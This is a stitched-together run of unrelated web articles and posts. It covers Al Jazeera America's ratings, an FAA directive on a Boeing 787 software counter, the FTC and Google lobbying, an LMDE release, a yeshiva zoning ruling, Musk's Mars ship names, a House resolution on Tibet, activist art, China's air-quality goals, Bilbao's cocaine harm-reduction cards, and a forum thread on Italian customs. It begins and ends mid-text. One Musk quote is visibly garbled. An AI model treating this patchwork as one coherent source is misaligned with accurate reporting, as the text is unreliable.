about ratings. Let’s put things in perspective. Other cable news networks have been on television for decades — we’re a year old. We’re still growing our brand awareness as well as our distribution, which is a little more than half of all U.S. cable homes.” But that equates to about 60 million homes. You do the math. Of course, AJA is backed by nearly unlimited petro-dollars, and you can be sure the emir et al are taking the long view about influencing American opinion. But that raises another problem. While AJA has won awards for its reporting, it’s hard to think of any story or issue on which the network has made a real impact in the last year. Except maybe for getting sued by Al Gore. -Modern airplanes are basically a giant computer, and the latest reminder of that fact came Friday. The Federal Aviation Administration has issued a warning about the Boeing 787 Dreamliner's computer system, which has a software counter that could periodically shut down all electrical power and "result in loss of control of the airplane." To prevent that, airlines must completely power down the electrical systems on the plane at least once every 248 days. The directive applies to all 787 model airplanes. Globally, 258 of the aircraft are currently in use by airlines, with more than 800 more ordered for future delivery. Boeing reported the issue — which it said was found during laboratory testing — to the FAA, which issued an airworthiness directive (AD) on Friday: This AD requires a repetitive maintenance task for electrical power deactivation on Model 787 airplanes. This AD was prompted by the determination that a Model 787 airplane that has been powered continuously for 248 days can lose all alternating current (AC) electrical power due to the generator control units (GCUs) simultaneously going into failsafe mode. This condition is caused by a software counter internal to the GCUs that will overflow after 248 days of continuous power. We are issuing this AD to prevent loss of all AC electrical power, which could result in loss of control of the airplane. In addition to the turn-it-off, turn-it-on solution, Boeing is also working on a software fix that will address the issue in a more permanent way. The directive is a temporary measure until that fix is in place. Since its introduction in 2007, the Dreamliner has had more than its fair share of problems. In 2013, all 787s were grounded because of the potential for battery fires. Sparking that directive was an incident at Logan Airport in Boston, where an unoccupied Japan Airlines 787 caught fire after a nonstop flight from Tokyo. Boeing is still betting heavily on the 787 as a profit engine, along with its other popular twin-jet aircraft such as the 777 line and 737 series. In recent months, airlines have been rolling out a stretched version of the 787, known as the 787-900. -The Federal Trade Commission denies accusations that it took no legal action against the tech company because of intense lobbying efforts Google did not lobby us into submission, US trade watchdog says America’s top trade watchdog has rejected accusations it took no legal action to curb Google’s dominance in search because of intensive lobbying by the software giant. Google staff donations made the firm the second-largest corporate backer in Barack Obama’s 2012 re-election campaign. The Wall Street Journal this week revealed that Google employees had lobbied the White House 230 times since Obama first took office, in 2009, and that the search company employs 20 separate lobbying agencies. The chairwoman of America’s Federal Trade Commission, Edith Ramirez, issued a statement on Wednesday night rejecting accusations in the Journal that the regulator had ignored the advice of its own staff in deciding to close its Google investigation. “Contrary to recent press reports, the Commission’s decision on the search allegations was in accord with the recommendations of the FTC’s Bureau of Competition, Bureau of Economics, and Office of General Counsel,” Ramirez wrote. The statement was signed by two other serving commissioners. The remaining two members of the five-strong commission were not serving in early 2013, when the FTC settled with Google after extracting voluntary concessions from the company. Ramirez said: “Some of the FTC’s staff attorneys on the search investigation raised concerns about several other Google practices. In response, the Commission obtained commitments from Google regarding certain of those practices. Over the last two years, Google has abided by those commitments.” The Journal has obtained and published a partial copy of a 2012 report by FTC staff in which serious concerns were raised about Google’s practices. In the strongly worded document, FTC staff identify risks in bringing legal action against Google, but state: “Staff concludes that Google’s conduct has resulted – and will result – in real harm to consumers and to innovation in the online search and advertising markets. Google has strengthened its monopolies over search and search advertising through anticompetitive means, and has forestalled competitors’ and would-be competitors’ ability to challenge those monopolies, and this will have lasting negative effects on consumer welfare.” The debate is being closely watched in Europe, where competition commissioner Margrethe Vestager must soon decide whether to step up a long-drawn-out inquiry into Google search practices. The European commission probe began in 2010 and remains open after the rejection of three successive packages of voluntary concessions. Ramirez blasted suggestions that commissioners had been politically influenced. She said: “Today’s Wall Street Journal article … makes a number of misleading inferences and suggestions about the integrity of the FTC’s investigation. The article suggests that a series of disparate and unrelated meetings involving FTC officials and executive branch officials or Google representatives somehow affected the Commission’s decision to close the search investigation in early 2013. Not a single fact is offered to substantiate this misleading narrative.” In an emailed statement, the Journal defended its reporting as “careful, accurate and fair”. -The team is proud to announce the release of LMDE 201403 RC. Screenshots LMDE 201403 Cinnamon Edition LMDE 201403 MATE Edition Highlights Update Pack 8 Cinnamon 2.0 MATE 1.6 Latest Mint tools and improvements Support for EFI and GPT If you’re new to LMDE, welcome to Linux Mint Debian! Important links LMDE in brief Linux Mint Debian Edition (LMDE) is a semi-rolling distribution based on Debian Testing. It’s available in both 32 and 64-bit as a live DVD with Cinnamon or MATE. The purpose of LMDE is to look identical to the main edition and to provide the same functionality while using Debian as a base. FAQ 1. Is LMDE compatible with Ubuntu-based Linux Mint editions? No, it is not. LMDE is compatible with Debian, which isn’t compatible with Ubuntu. 2. Is LMDE fully compatible with Debian? Yes, 100%. LMDE is compatible with repositories designed for Debian Testing. 3. What is a semi-rolling distribution? Updates are constantly fed to Debian Testing, where users experience frequent regressions but also frequent bug fixes and improvements. LMDE receives “Update Packs” which are tested snapshots of Debian Testing. Users can experience a more stable system thanks to update packs, or switch their sources to follow Testing, or even Unstable, directly to get more frequent updates. 4. How does LMDE compare to the Ubuntu-based editions? Pros: You don’t need to ever re-install the system. New versions of software and updates are continuously brought to you. It’s faster and more responsive than Ubuntu-based editions. Cons: LMDE requires a deeper knowledge and experience with Linux, dpkg and APT. Debian is a less user-friendly/desktop-ready base than Ubuntu. Expect some rough edges. Additional notes: About bugs: Please use this blog to report bugs. Please use this blog to report bugs. Dedicated chat room: #linuxmint-debian is open to LMDE users on irc.spotchat.org. Download links: Torrents: MD5 sums: Cinnamon 32-bit: b5d2e82911c68865eff94e5a1b7fd7f2 Cinnamon 64-bit: 642110dbc8f111940f68cab739c07792 MATE 32-bit: 1641734a5ecc9a1ed81a53fe80ab4743 MATE 64-bit: 50a536ef81be0c2027d2ae64c4d2583c Cinnamon 32-bit: Cinnamon 64-bit: MATE 32-bit: MATE 64-bit: Enjoy! We look forward to receiving your feedback. Thank you for using Linux Mint and have a lot of fun testing the release candidate! -Federal judge says religious facility failed to prove civil rights violations, discrimination. Buy Photo The Chofetz Chaim yeshiva and apartment complex in Wesley Hills. (Photo: Peter Carr/The Journal News)Buy Photo A federal judge has again ruled that a yeshiva failed to prove that several villages in the town of Ramapo opposed a housing development based on anti-Hasidic sentiments. Friday's decision involved a nearly decade-long legal action by Mosdos Chofetz Chaim against the villages of Pomona, Chestnut Ridge, Wesley Hills and Montebello. The yeshiva accused the communities of incorporating as villages to curtail the expansion of Hasidic neighborhoods through restrictive zoning. It also claimed the villages hid behind environmental laws to oppose the town of Ramapo's adult student housing zone and singled out the yeshiva's housing and study center on Grandview Avenue, just outside the village of New Hempstead. Chofetz Chaim sought $100 million in damages, attorneys for the villages said. The yeshiva and Ramapo have also battled those villages in state court since 2004, with accusations of zoning and fire violations at the development. Rabbi Aryeh Zaks, his family and other Chofetz Chaim officials claimed the villages conspired to deprive the yeshiva of its civil, religious and equal protection clause rights under the U.S. Constitution, as well as the Fair Housing Act. U.S. District Judge Kenneth Karas, in a 76-page decision, wrote that, while he was sympathetic to accusations of discrimination, there was a lack of evidence in the yeshiva's case. He wrote that yeshiva officials "have offered nothing more than conclusory, unsubstantiated assertions in support" of civil rights violations and "threadbare allegations alone will not suffice to defeat" a request by the village's lawyers to dismiss the legal action. Karas also cited a decades-long contentious relationship between the Hasidic community and other town residents. "The allegations, while often supported only by inference, are grounded in the context of fifty plus years of distrust, hostility and even bigotry within the communities at issue here," Karas wrote. "Having lived and worked with residents and officials from the villages during these many years, plaintiffs firmly believe that they have been targeted because of their religious beliefs, even if they cannot point to discriminatory statements by defendants." Pomona's attorney, Greg Saracino, said Karas' decision is rooted in the law and an appeal would prove futile. "The $100 million case was designed to bankrupt the villages," Saracino said. "I'm glad it's history." NEWSLETTERS Get the Breaking News newsletter delivered to your inbox We're sorry, but something went wrong Please try again soon, or contact Customer Service at 1-888-426-6388. Delivery: Varies Invalid email address Thank you! You're almost signed up for Breaking News Keep an eye out for an email to confirm your newsletter registration. More newsletters The yeshiva's lawyer could not be reached for comment. Karas had dismissed the yeshiva's initial legal action in 2010 but allowed the congregation to refile. Chofetz Chaim bought 4.7 acres on Grandview Avenue in 1997, after the federal government declared the Nike military property surplus. A federal lawsuit settlement against New Hempstead for blocking development put the land back under Ramapo's jurisdiction. Along with a study center, the yeshiva development contains 32 two-bedroom units and 28 four-bedroom units for students and their families. Twitter: @lohudlegal Read or Share this story: http://lohud.us/1CmkiGH -.@BPShomrim alerted me that stones @ Washington Cemetery are down. I’ve spoken w/ the NYPD who are investigating. I'll be there in the am. pic.twitter.com/j3wHa1dzEp — Dov Hikind (@HikindDov) March 5, 2017 The New York Police Department says no evidence of vandalism has been found at a predominantly Jewish cemetery where more than 40 tombstones were toppled over.The NYPD says after consultation with the management of the Washington Cemetery in Brooklyn, it was determined the 42 tombstones came down as a result of a number of factors. Those include long-term neglect or lack of maintenance, as well as environmental factors such as soil erosion.Assemblyman Dov Hikind tweeted photos Saturday night showing some headstones on the ground.There has been a rash of vandalism at Jewish cemeteries and 122 bomb threats against Jewish organizations in three dozen states since early January.A $69,000 reward has been offered for an arrest and conviction in the vandalism of Mt. Carmel Cemetery, a Jewish cemetery in the Wissinoming section of Philadelphia.Authorities said Friday that Juan Thompson, a former journalist fired for fabricating details in stories, made at least eight threats against Jewish institutions nationwide as part of a campaign against his ex-girlfriend.----The Associated Press contributed to this report.------ -Today, Elon Musk revealed his ambitious multi-decade roadmap for human colonization of Mars, including the Interplanetary Transport System he believes will get us there. But while the event was full of technical detail on the new rocket and ship, it appears the crafts have yet to be named. "We're thinking about names," Musk told the crowd. "The first ship that goes to Mars, my current favorite for it is Heart of Gold from The Hitchiker’s Guide to the Galaxy." The Heart of Gold is one of the ships at the center of Douglas Adams' 1978 radio play and subsequent book, stolen by Zaphod Beeblebrox at the ship's official launch and later used to rescue the story's protagonists. It's also the first ship to use the Inifinite Improbability Drive, a detail that was particularly appealing to Musk. "I like the fact that it's driven by infinite improbability," Musk said, referring to the because I think our ship is also extremely improbable." "The acronym is not the best," Musk conceded. SpaceX trip to Mars simulation -H. Res. 337 In the House of Representatives, U. S., July 8, 2015. Whereas Tibet is the center of Tibetan Buddhism, and His Holiness the Dalai Lama is the most revered figure in Tibetan Buddhism worldwide; Whereas the Chinese response to the Tibetan Uprising in 1959 led to the exile of Tenzin Gyatso, His Holiness the 14th Dalai Lama, Tibet’s spiritual and temporal leader; Whereas His Holiness the 14th Dalai Lama, who on July 6, 2015, celebrates his 80th birthday, has for over 50 years in exile significantly advanced greater understanding, tolerance, harmony and respect among the religious faiths of the world; Whereas His Holiness the 14th Dalai Lama has led the effort to preserve the rich cultural, religious, historical and linguistic heritage of the Tibetan people while at the same time promoting the safeguarding of other endangered cultures throughout the world; Whereas His Holiness the 14th Dalai Lama has personally promoted democratic self-government for Tibetans in exile and in 2011 turned over political authority to the democratically elected leadership of the Central Tibetan Administration; Whereas His Holiness the 14th Dalai Lama has been greatly concerned by the state of the Tibetan environment and the exploitation of its natural resources, including fresh water—as rivers originating in the Tibetan plateau support one-third of the world’s population—and has promoted environmental awareness in the region; Whereas His Holiness the 14th Dalai Lama was awarded the Nobel Peace Prize in 1989 in recognition of his efforts to seek a peaceful resolution to the situation in Tibet, and to promote non-violent methods for resolving conflict; Whereas His Holiness the 14th Dalai Lama was awarded the Congressional Gold Medal in 2007 in recognition of his promotion of democracy, freedom, and peace for the Tibetan people; his efforts to preserve the cultural, religious, and linguistic heritage of the Tibetan people; his promotion of non-violence; and his contributions to global religious understanding, human rights, and ecology; Whereas His Holiness the 14th Dalai Lama, as the spiritual leader of Tibetan Buddhism, publicly presented in 2011 the religious process which Tibetan Buddhists should follow regarding his reincarnation; Whereas the Chinese central government has attempted to interfere with the reincarnation process and the practice of Tibetan Buddhist religious traditions; and Chinese officials assert that the failure to secure Beijing’s approval on the Dalai Lama’s reincarnation would make the process “illegal”; Whereas in the words of Party official Zhu Weiqun, “Decision-making power over the reincarnation of the Dalai Lama and over the end or survival of his lineage, resides with the central government of China.”; Whereas the Department of State’s International Religious Freedom Report for 2013 noted that in Tibetan areas of China “[r]epression was severe and increased around politically sensitive events and religious anniversaries,” and “[o]fficial interference in the practice of Tibetan Buddhist religious traditions continued to generate profound grievances”; Whereas the Department of State has designated China as a “country of particular concern” (CPC) for religious freedom since 1999, and in its 2013 human rights report details that “under the banner of maintaining social stability and combating separatism, the [Chinese] government has engaged in the severe repression of Tibet’s unique religious, cultural, and linguistic heritage by, among other means, strictly curtailing the civil rights of China’s ethnic Tibetan population, including the freedoms of speech, religion, association, assembly, and movement”; Whereas access to Tibetan areas of China for United States officials, journalists, and other United States citizens, is restricted by the Government of the People’s Republic of China, obscuring the full impact of the Chinese Government’s policies, including the disappearance of Tibetans who sought to share information about human rights abuses on the Tibetan Plateau; Whereas the Department of State’s 2014 Report on Tibet Negotiations noted that “The Dalai Lama’s representatives and Chinese officials have not met directly since the ninth round of dialogue in January 2010.”; Whereas, on March 10, 2015, the elected Tibetan leader Sikyong Dr. Lobsang Sangay publicly stated “The Envoys of His Holiness the Dalai Lama are ready to engage in dialogue with their Chinese counterpart any time and any place.”; Whereas it is the objective of the United States Government, consistent across administrations of different political parties and as articulated in the Tibetan Policy Act of 2002 (subtitle B of title VI of Public Law 107–228; 22 U.S.C. 6901 note) to promote dialogue between the Government of the People’s Republic of China and the Dalai Lama or his representatives to reach a negotiated agreement on Tibet; Whereas China may be considering convening a Sixth Tibet Work Forum to set policy on Tibet for the next five years or so, with the last such work forum having been held in 2010; and Whereas the American people have a long-held concern for and interest in the plight of the Tibetan people: Now, therefore, be it Resolved, That the House of Representatives— (1) calls on the United States Government to fully implement sections 613(a) and 621(c) of the Tibetan Policy Act of 2002 by strongly encouraging representatives of the Government of the People’s Republic of China and His Holiness the Dalai Lama to hold substantive dialogue, in keeping with the Tibetan Policy Act of 2002 and without preconditions, in order to address Tibetan grievances and secure a negotiated agreement for the Tibetan people; (2) calls on the United States Government to fully implement section 618 of the Tibetan Policy Act of 2002 in regard to the establishment of an office in Lhasa, Tibet, to monitor political, economic and cultural developments in Tibet, and to provide consular protection and citizen services; (3) urges the United States Government— (A) to consistently raise Tibetan human rights and political and religious freedom concerns at the United States-China Strategic and Economic Dialogue and other high-level bilateral meetings; (B) and the Special Coordinator for Tibetan Issues to offer their assistance to China in its preparations for a potential future Sixth Tibet Work Form; and (C) to call for the immediate and unconditional release of Tibetan political prisoners, including Gedhun Choekyi Nyima, the 11th Panchen Lama, who was taken into custody by the Chinese authorities and has been missing since 1995, Tenzin Delek Rinpoche, and Khenpo Kartse (Khenpo Karma Tsewang); (4) calls on the United States Government to underscore that government interference in the Tibetan reincarnation process is a violation of the internationally recognized right to religious freedom and to highlight the fact that other countries besides China have long Tibetan Buddhist traditions, and that matters related to reincarnations in Tibetan Buddhism are of keen interest to Tibetan Buddhist populations worldwide; (5) calls on the United States Government to recognize and increase global public awareness and monitoring of the upcoming electoral process through which the Tibetan people in exile will choose the next democratically elected leader of the Central Tibetan Administration, the Sikyong; (6) calls on the United States Government to fully implement section 616 of the Tibetan Policy Act of 2002 by using its voice and vote to encourage development organizations and agencies to design and implement development projects that fully comply with the Tibet Project Principles; (7) calls on United States and international governments, organizations, and civil society to renew and reinforce initiatives to promote the preservation of the distinct religious, cultural, linguistic, and national identity of the Tibetan people; (8) calls on the Government of the People’s Republic of China to allow unrestricted access to the Tibetan areas of China to United States officials, journalists, and other United States citizens; (9) affirms the Dalai Lama’s desire for a negotiated agreement for the Tibetan people, and urges the Chinese government to enter into negotiations with the Dalai Lama and his representatives; and (10) reaffirms the unwavering friendship between the people of the United States and the people of Tibet. Attest: Clerk. -As ’60s activist art enters museums, a new generation is creating an iconography of protest for today “There have been the singing nun and the flying nun, but the hippest of all is Los Angeles’s painting nun,” noted Newsweek in its 1967 cover story on Sister Corita Kent, the artist, activist, and teacher, whose first career survey, as The Saratogian reports, opened at the Francis Young Tang Teaching Museum at Skidmore college this week. COURTESY OF THE TANG MUSEUM AT SKIDMORE COLLEGE AND CORITA ART CENTER, LOS ANGELES. Despite her edgy Pop sensibility, influential friends like Ben Shahn and Buckminster Fuller, and posthumous shows in various museums, along with a 2009 exhibition at Zach Feuer Gallery, Sister Corita never became a presence in the mainstream art world. No doubt this is partly because of her vocation (she was a Sister of the Immaculate Heart of Mary, which she joined in 1936 and left in 1968), and the fact that she was a printmaker, rather than a painter. COURTESY OF THE TANG MUSEUM AT SKIDMORE COLLEGE AND CORITA ART CENTER, LOS ANGELES. Deploying the earnestness of a believer, an avant-garde sense of typography, and a collagist’s wit, Sister Corita (1918-86) mashed together words and slogans from advertising, the Bible, philosophy, poetry, and lyrics, producing hundreds of confrontational, inspirational prints on themes of individual empowerment and social justice. (Later her 10 rules for Immaculate Heart College’s art department, which cite and are sometimes misattributed to John Cage, became an online classic.) COURTESY OF ZACH FEUER GALLERY, NEW YORK AND THE CORITA ART CENTER “Almost in some ways she was outsider even though was she trained and was insider in other ways,” says Tang director Ian Berry, who co-curated the exhibition with Michael Duncan. “I’m hoping this show can get her into the trajectory of art conversation.” Power Authority More activist art was in the news when the Brooklyn Museum announced its acquisition of 44 rare works from the Black Arts Movement of the mid-’60s to the mid-’70s, landing Elaine “Jae” Jarrell’s stunning patchwork Urban Wall Suit (1969) on the cover of the Times’s Weekend Arts section. GIFT OF R.M. ATWATER, ANNA WOLFROM DOVE, ALICE FIEBIGER, JOSEPH FIEBIGER, BELLE CAMPBELL HARRISS, AND EMMA L. HYDE, BY EXCHANGE; DESIGNATED PURCHASE FUND, MARY SMITH DORWARD FUND, DICK S. RAMSAY FUND, AND CARLL H. DE SILVER FUND, 2012.80.21. The Black Arts Movement, conceived as the cultural arm of the Black Power Movement, was started by Amiri Baraka. But its manifesto of sorts was written by Larry Neal, who in a 1968 essay in Drama Review, called for “a radical reordering of the western cultural aesthetic” with new “symbolism, mythology, critique, and iconology.” To convey its message of self-determination and nationhood, the medium of choice for the Black Arts Movement was usually screenprint with a liberal dose of collage, appropriation, and futurism, as evident in works like Revolutionary, Wadsworth Jarrell’s -Day-Glo 1972 portrait of Angela Davis, and Jeff Donaldson’s 1969 rendering of rifle-toting Wives of Shango. BROOKLYN MUSEUM, GIFT OF R.M. ATWATER, ANNA WOLFROM DOVE, ALICE FIEBIGER, JOSEPH FIEBIGER, BELLE CAMPBELL HARRISS, AND EMMA L. HYDE, BY EXCHANGE; DESIGNATED PURCHASE FUND, MARY SMITH DORWARD FUND, DICK S. RAMSAY FUND, AND CARLL H. DE SILVER FUND, 2012.80.41. That these radically conceived works are entering art-museum galleries–some in the Brooklyn Museum’s American Identities galleries this spring, and others in its upcoming exhibition about the Civil Rights movement next year –shows that the canon of postwar American art has come a long way, kind of. Fight of the Butterfly As the activist art of a half-century ago, like the agitprop art before it, enters museum collections, a new generation is developing its own esthetic. Writing in Creative Time Reports, Robert Lovato describes some of the cultural interventions that artist/activists are staging to campaign for migrants’ rights—particularly those adapting the monarch butterfly, that great migrator, as the movement’s symbol. COURTESY OF NO PAPERS NO FEAR That butterfly floats through Migration is Beautiful, a video recently posted on rapper Pharrell Williams’ i am OTHER YouTube channel that’s been making the rounds of blogs. The three-part series follows artists, designers, and performers who have been using the arts to campaign for migrant justice in Arizona, at the Democratic National Convention in Charlotte, and in actions across the country. A prominent generator of new iconography has been No Papers No Fear, an advocacy group that put out a call for images to express the migrants’ struggle. Many of the artists who responded drew clearly on the precedent of ’60s activist art. COURTESY NO PAPERS NO FEAR Doing the Rights Thing One artist who has managed to bring the art of activism into the academy is Cuba-born Tania Bruguera, recently announced as the winner a Meadows Prize residency awarded by the Meadows School of the Arts at Southern Methodist University. Since she launched Immigrant Movement International as a project cosponsored by Creative Time and the Queens Museum in 2011, Bruguera has offered free classes, workshops, pro-bono legal advice, and other services, operating out of a storefront in Corona, Queens. This year, Bruguera plans to spend more time teaching immigrants art history—“not as an end, but as a means to something else,” she explains, using the imagery as a bridge to approach difficult subjects. Bruguera and her team have also been working to develop a visual arsenal for immigrants’ rights, including a ribbon whose blue and brown tones reflects their passage by land and sea. COURTESY THE ARTIST AND IMMIGRANT MOVEMENT INTERNATIONAL. More recently Immigrant Movement produced a rubber stamp to stamp currency with the notice that immigrants pay taxes, too. The image, and the idea behind it, are partly behind a performative event that the group will stage at “How Much Do I Owe You?”, an exhibition organized by No Longer Empty at the Clock Tower in Long Island City on Saturday, February 16, at 2 p.m. -BEIJING (Reuters) - China aims to provide clean air in its largest cities for 80 percent of each year, or more than 9-1/2 months, by 2020, up from a figure of 76.7 percent last year, the country’s cabinet said on Monday. Workers stand on a bridge in front of the financial district of Pudong amid heavy smog in Shanghai, China December 5, 2016. REUTERS/Aly Song Amid concern that pollution was stirring social unrest, China launched a campaign in 2014 to revitalize its tainted air, water and soil, which have been ravaged by more than three decades of breakneck industrial growth. The clean air goal for 338 cities was laid out in a five-year development plan on ecological and environmental protection that said China would push structural reforms to cut excess capacity in polluting industries. “With the downward pressure on the economy increasing, the contradiction between development and protection has become more prominent,” the cabinet said.Under the plan, authorities in Beijing, the capital, its neighboring city of Tianjin and the northern province of Hebei, and those along the Yangtze River economic belt will draw up eco-protection “red lines” by the end of 2017. Other provinces and cities will have to draw up such “red lines” by the end of 2018, the cabinet said. Total coal consumption in Beijing, Tianjin, Hebei, and the eastern Shandong and central Henan provinces will be cut about a tenth during the five-year plan period. Consumption in the commercial capital of Shanghai, and the eastern provinces of Jiangsu, Zhejiang and Anhui will be cut by around 5 percent in the same timeframe. Coal consumption in China’s Pearl River Delta region will also be cut by a tenth during the period, the plan stated. China aims to cut emissions of sulfur dioxide and nitrogen oxide, both gases associated with acid rain, by 15 percent in 2020, from 2015 levels, it said. Chemical oxygen demand, a measure of water quality, will be cut by 10 percent, while ammonia nitrogen emissions will also be reduced by 10 percent. Last week, the province of Hebei, which borders Beijing, issued its first “red alert” of the year over severe pollution. The highest level alert for smog requires suspension of work in factories, with cars being pulled off the road. -Authorities in the northern Spanish city of Bilbao are distributing cards for people to crush cocaine with prior to snorting, in a bid to reduce the potential harms of nasal drug use – including the spread of hepatitis C. The plastic card is the same size and shape as an ordinary credit card, and is being distributed under a scheme devised by the Bilbao City Council’s health department. It includes a written warning for people who snort drugs: “if it is not well chopped, you can damage your nostrils”. Health department officials have asserted that the move is necessary to “minimise the risks [of drug use]”, digital Spanish newspaper El Confidencial reports. They claim that the card is being provided to individuals in a “selective and personalised” manner, so that it would not appear that authorities were condoning drug use among the wider public. Indeed, according to El Correo - a prominent Bilbao newspaper - the card is not being widely distributed to the public; rather, it is only available for adults who have passed through three “filters”. To receive the card, one must demonstrate interest by visiting a mobile harm reduction facility staffed by health professionals, request harm reduction information, and complete a “personal interview” about their drug use. People who receive the card are also provided with harm reduction leaflets, including detail about how safer consumption methods are important to reduce the risk of getting hepatitis C from drug use. Scientific evidence indicates that hepatitis C can be transmitted by sharing a drug-snorting straw with someone who already has the disease. The UK's Hepatitis C Trust has issued a warning on the subject: “If you share a rolled up note or straw for snorting drugs you risk exposing yourself and others to hepatitis C. This is especially true if your nose is bleeding. Cocaine in particular is very alkaline and corrosive to the thin membranes in the nose. If even tiny drops of your blood - often too small to see - get onto the straw or note, it is quite possible that blood to blood contact may take place through the nasal membrane”. Therefore, if people who snort cocaine remember to crush their drug as finely as possible before using it, it reduces the likelihood of nasal bleeding, and potential hepatitis C transmission. Luisa Marquez of ENLACE, a Spain-based federation of organisations that advocates for the proliferation of harm reduction, told TalkingDrugs that this development was “respectful of human rights” because “we can’t stop people from using drugs, but we can prevent some harms.” “We consider it very necessary to give this kind of information, especially to young people, in order to avoid bigger problems such as deaths and serious diseases,” Marquez added. The Bilbao City Council has said that providing the card is part of a pilot scheme, and that it could be extended after the results of its implementation have been analysed. -Q&A: Italian Traditions Customs "In these Italian Traditions Customs articles we discuss the Italy food culture, hygiene, Italian mommy's boys, wedding customs, strange customs and we end with a joke..." Rodger asked: How can I get the best cultural experience of Rome Italy? I will be touring Rome in March 2008 and I was wondering about... "Italian traditions customs and culture i.e. What are typical Italian food customs, wedding customs, Italian Christmas customs and other Italian culture customs and traditions? And any ideas of getting the best Italian cultural experience outside of Rome?" Arnika replied to Italian traditions customs: My fiance just recently bought a new car and a friend of his that has Italian roots threw some spare change into the back of the car, he said it was an Italian custom for good luck. So I researched it... It's true. It started about 2000 years ago as an offering to the God of roads or travel as a payment for safety, but now it's a superstition, done more for fun than anything else. Jill replied to Italian traditions customs: I had a great experience of Italian family life and culture, I traveled on a train down the entire east coast. I saw such amazing details of Italian life, the funniest is when they call each other on their mobile phones when they are sitting only three seats away from each other. They all take their family, pets and lunches on the train and it is pure entertainment watching them play out their lives on the way to their summer destination. I say travel by train and just hop off whenever you feel like it - be prepared to be amazed. Oh yes, it's amazing how many older women I saw wearing black! After their husband dies some of them wear black for the rest of there lives. Patrick replied to Italian traditions customs: Find the best location (meaning most Roman) to live. The more you are among Romans the better. Most tourists choose to stay in a hotel near the main train station, this is the most “non-roman” place to book your Rome accommodation!. It's cheep but most of the residents there are “new Italians” meaning foreigners mostly from developing countries. The place is great but there is little roman about it. And then quite simply, take a walk around Rome, get a guide book or take notes from this site. Eat at trattorias and Pizzerias (not restaurants), they have a more homely feel and the staff and owners often like to converse. Also eat in places away from the main tourist squares. Cockney Jock replied to Italian traditions customs: Italians enjoy their meals and take their time to eat, they don't shove their food down their throats in 35 - 45 minutes. I still enjoy going to a restaurant in Italy and being able to sit 3 or 4 hours and enjoy the courses and allow my food to settle before I begin the next course. They cook with olive oil, eat a lot of unprocessed meats and fresh vegetables from the market, and cook simple and not over spiced (depending on the area I guess) and don't overload their plates. Italians enjoy their meals and take their time to eat, they don't shove their food down their throats in 35 - 45 minutes. I still enjoy going to a restaurant in Italy and being able to sit 3 or 4 hours and enjoy the courses and allow my food to settle before I begin the next course. They cook with olive oil, eat a lot of unprocessed meats and fresh vegetables from the market, and cook simple and not over spiced (depending on the area I guess) and don't overload their plates. Return to the top MaryAbbeymore replied to Italian traditions customs: I am an American who has been living in Italy for the last 9 years. Italians are very big on hygiene, you might find some who are very dirty, but they are in the minority. I think Italians are the Europeans who spend the most time and money on hygiene and personal appearance. In all Italian bathrooms you will find a shower or bathtub, toilet and a bidet. If you do not know what a bidet is it looks like a sink but it's low on the ground and Italians use it to wash their feet and intimate parts. Many Italians wash their intimate parts every time they visit the bathroom, and others 1 or 2 times a day. For Italians the thought of cleaning with only toilet paper is quite disgusting. They say it's not clean enough. Italian women spend millions of Euros yearly on perfumes, the hairdresser, shampoos, cosmetics, etc.and so do the Italian men. I know plenty of Italian guys that who spend a lots of money at hair dresser on cologne, shampoo, face cream, waxing, gym, designer clothes, etc. In the hotel I work at a Croatian client told me that Italian men are nothing like Croatian men because they take such good care of themselves (almost better than women in most other countries). I think the majority of Italians shower every day, the ones who go to gym take 2 or more showers. Italian women, and a lot of Italian men shave almost everything. I've yet to see an Italian woman with hairy armpits. I'm telling you all this because I've noticed a lot of stereotypes about Italian women with hairy armpits, it's false! Marcus from Roman Life Rome Italy replied to MaryAbbeymore re: Italian traditions customs: Wow Mary, thanks for all that information! But what I would like to know is how you know so much about Italians shaving and bathroom habits?! Jeff replied to Italian traditions customs: A peculiar Italian problem is the stay-at-home son or what they are called in Italian "mammone" - mommy's boy. More than 80% of men between the ages of 18 and 30 still live at home with their parents, enjoying the coddling doting mamas to wash iron clean the room etc so the son is free to spend his time and his income on pleasing himself. Who would want to give that up if they didn't have to? Return to the top George replied to Italian traditions customs: As a half Italian half Aussie I can give you the honest low down on the Italians.... Good: Social, extremely family oriented, and usually a faithful people. Hospitable and excellent cooks. If you are a friend they've "got your back" so to speak. And they sure know how to chuck a party. They are also mostly hard workers. Bad: Can gossip a lot and force feed you even when you are not hungry. Can be waaay to noisy, and some of the guys can be pretty sleazy. Just like in any culture, good and bad points, but i love my Italian family, they always make me feel welcome and are smiling and laughing. Sandy replied to Italian traditions customs: Did you know it's an old Italian custom to never give a knife as a gift but to always ask for some small payment? My friend's Italian grandfather asked for a quarter before "giving" him a set of beautiful cooking knives. Apparently the tradition is because if you were to give a person a knife and that person killed someone with the knife then you would feel that it is your fault. Another one is if you give a wallet as a present you should put a penny in it, this is so that the person will always have money, if you give them an empty wallet its said that they will always be poor! Return to the top Pasha replied to Italian traditions customs: Some Italian wedding customs are: Sugar coated Jordan Almonds as gifts from the bride (in uneven numbers for luck), these are also sometimes thrown at the bride and groom as they enter the reception area, also for luck. Putting sugar cubes in the bride and grooms glasses, it increases the effervescence and sweetness of the wine as a metaphor that your life may be the same. A full cocktail bar beforehand, with cheeses, breads and tasty Italian snacks A Sunday wedding is the luckiest In some areas of Italy it is tradition to give money instead of presents to the bride and groom. The money is not given to them personally but displayed in a rainbow design on their bed as a wish of prosperity. Sometimes the groom carries a piece of iron in his pocket, supposedly to keep evil spirits away Releasing white doves is another Italian tradition. The month of May is sometimes avoided as it should be reserved for the veneration of the Virgin Mary. Rain on the wedding day is supposed to be lucky - “Sposa bagnata, sposa fortunata.” The wedding cake table is usually also packed with a medley of delicious desserts. JackB replied to Italian traditions customs: Sofia just got married, and being a traditional Italian she was still a virgin. On her wedding night at her mother's house she was nervous, but her mother reassured her, "Don't worry, Sofia Luca is a good man, go upstairs and he'll take care of you." So she went. When she got upstairs, Luca took off his shirt and exposed his hairy chest. Sofia ran downstairs to her mother and said, "Mama, Mama, Luca's got a big hairy chest!" "Don't worry, Sofia", says the mother, "All good men have hairy chests, go upstairs and he'll take good care of you." So up she went again. When she was in the bedroom Luca took off his pants exposing his hairy legs, again Sofia ran downstairs to her mother, "Mama, Mama, Luca took off his pants, and he's got hairy legs!" "Don't worry Sofia, all good men have hairy legs, Luca's a good man, go upstairs and he'll take good care of you." So, up she went again. When she got up there, Luca was taking his socks off and on his left foot he was missing three toes. When Sofia saw this, she ran downstairs. "Mama, Mama, Luca's got a foot and a half!" "Stay here and stir the pasta", says the mother "this is a job for Mama!" Marcus from Roman 